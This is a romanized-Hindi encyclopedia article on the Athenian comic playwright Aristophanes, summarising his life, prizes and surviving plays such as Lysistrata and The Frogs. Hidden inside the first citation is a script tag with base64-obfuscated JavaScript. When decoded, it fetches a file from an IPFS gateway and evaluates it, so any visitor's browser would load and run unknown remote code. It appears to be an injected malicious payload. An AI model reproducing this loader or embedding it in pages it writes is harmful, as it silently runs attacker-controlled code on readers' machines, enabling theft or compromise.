अरिस्तोफ़ानिज़ (नाटकार)
aristofaniz 1. (l.ee.poo. 540 se ee.poo. 385) yoonani prahasanakar. isake pita ka nam filippas aur mata ka zenodora tha tatha isaki kuchh sthavar sanpatti igina mean bhi thi, jisake karan isake mool etheans nivasi hone mean sandeh kiya gaya hai. aristofaniz ne 18 varsh ki ayu se hi natakarachana aranbh kar di thi. aranbhik natakoan mean usane apana nam nahian diya tha. kahate haian, isane 54 natak likhe the jinamean se is samay keval 11 milate haian. lagabhag march mas mean diyonisash ki rangasthali mean etheans mean jo naty pratiyogitaean hua karati thian unamean aristofaniz ko char pratham, tin dvitiy tatha ek tritiy puraskar bhinn-bhinn avasaroan par prapt hue the. apane prahasanoan mean aristofaniz ne etheans ke b de se b de netaoan ki hansi u daee hai atev usako ek neta klionh ka kopabhajan banana p da, par apane svatantr svabhav ko usane nahian chho da. sukarat aur yooripidis jaise darshanikoan aur natakakaroan ko bhi usake parihas ka patr banana p da, tathapi usake chitt mean kisi prakar ki durbhavana nahian thi. isi karan sukarat ka anany bhakt afalatoon (platonh) arastoifaniz se prem karata tha.
yoonan ke prahasanatmak natakoan ka itihas tin yugoan mean vibhakt hai jo prachin prahasan, madhy prahasan aur navin prahasan ke yug kahalate haian. prachin prahasan yug aur madhy prahasan yug ke prahasanoan mean se keval aristofaniz ke prahasan hi ajakal milate haian. usake ajakal milanevale natakoan ke nam aur parichay nimnalikhit haian. akanash (ee.poo. 425 mean prastut) jisamean etheans ke yuddhasamarthak dal aur senanayakoan ka parihas kiya gaya tha. isapar pratham puraskar prapt hua tha. hippesh (shoor samant) ki rachana lagabhag 424 ee.poo. mean huee aur isamean kavi ne klion tatha us samay ke janatantr par katu akraman kiya. isapar lekhak ko pratham puraskar aur klion ka kop prapt hua. naifailai (megh) ka samay ee.poo. 423 hai. isamean sukarat ki hansi u daee gee hai. isapar kavi ko tritiy puraskar mila tha. sfekaish (barre) lagabhag ee.poo. 422 mean do pidhiyoan ke vicharabhed aur nyayalayoan ko parihas ka vishay banaya gaya hai. ek drishy mean do kuttoan ko joori mahoday ke samaksh prastut kiya gaya hai. aeerina (shaannti) ee.poo 421 prastut kiya gaya tha. isamean yuddh se vyathit ek krishak gubaraile par savar hokar shaanti ki khoj mean olipash ki yatra karata hai. isapar kavi ko tritiy puraskar prapt hua. ornithaish (chi diyaan) ka abhinay ee.poo. 414 mean hua tha. isamean do mahatvakaankshi vyakti chi diyoan dvara apane lie akash mean ek samrajy sthapana ka prayatn karate haian. is suandar kalpana par kavi ko dvitiy puraskar mila tha. shrisistrata ka samay ee.poo. 411 hai. pailopinishiy yuddh kuchh samay ke lie rukakar pun: bh dak utha tha. aristofaniz is yuddh ka virodhi tha. is natak mean striyoan ke dvara apane patiyoan ko ratyadhikar se vanchit karake shaanti prapt karane ka varnan kiya gaya hai. isamean kavi ke rajanitik vicharoan ki jhalak milati hai. thaismoforiyazoosaee ee.poo. 411 mean prastut kiya gaya tha. isamean mahakavi yooropidiz ko prahasan ka kshay banaya gaya hai. batrakoee (maandook) ee.poo 405 mean prastut kiya gaya tha. yah prahasan ke roop mean iskilash aur yooripidiz ki alochana hai aur aristofaniz ki shreshth rachana hai. isapar pratham puraskar milana hi tha. aiklesiyazoosaee (ee.poo. 391) sanbhavataya aantisthainesh athava afalatoon ke samyavad (visheshakar stri purushoan ki samanata ke pashak samyavad) ki alochana hai. apekshakrit yah ek shithil prahasan hai. aantim upalabdh rachana plootash ka samay ee.poo. 388 hai. isamean paranpara ke pratikool dhan ke devata ko netravanh banaya gaya hai jo sab sajjanoan ko dhanavan bana deta hai.[1]
aristofanij ka prahasan kisi ko nahian chho data. usaki bhasha nitaant uchchhriankhal hai. nagn ashlilata ki bhi usaki rachanaoan mean kami nahian hai. par gitoan mean komalata aur madhury bhi paryapt hai. jis prakar ke prahasan usane likhe haian usake poorv aur pashchath doosara koee vaise prahasan nahian likh saka.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 235-36 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-ots aiand nil: di kanplit grik drama, 2 jild, raiandam haus, nyooy aaurk, 1938; mare: e histri aauv ensheant grik litarechar, 1937; naurvud-raitars aauv gris, 1935; baura: ensheant grik litarechar, 1945.